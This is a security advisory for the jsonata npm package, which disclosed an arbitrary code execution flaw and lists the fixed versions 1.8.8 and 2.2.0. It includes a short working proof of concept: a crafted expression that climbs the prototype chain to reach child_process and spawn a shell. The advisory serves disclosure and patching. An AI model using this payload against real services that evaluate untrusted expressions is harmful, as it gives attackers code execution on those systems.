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GHSA-8gq3-vp5j-2grp

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Quick fix

GHSA-8gq3-vp5j-2grp — jsonata: upgrade to the fixed version with the command below.

npm install jsonata@1.8.8

Details

## Impact

Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.

## PoC

```js import jsonata from "jsonata";

const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `);

await expression.evaluate({}); ```

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Affected packages

npm / jsonata
Introduced in: 0 Fixed in: 1.8.8
Fix npm install jsonata@1.8.8
npm / jsonata
Introduced in: 2.0.0 Fixed in: 2.2.0
Fix npm install jsonata@2.2.0

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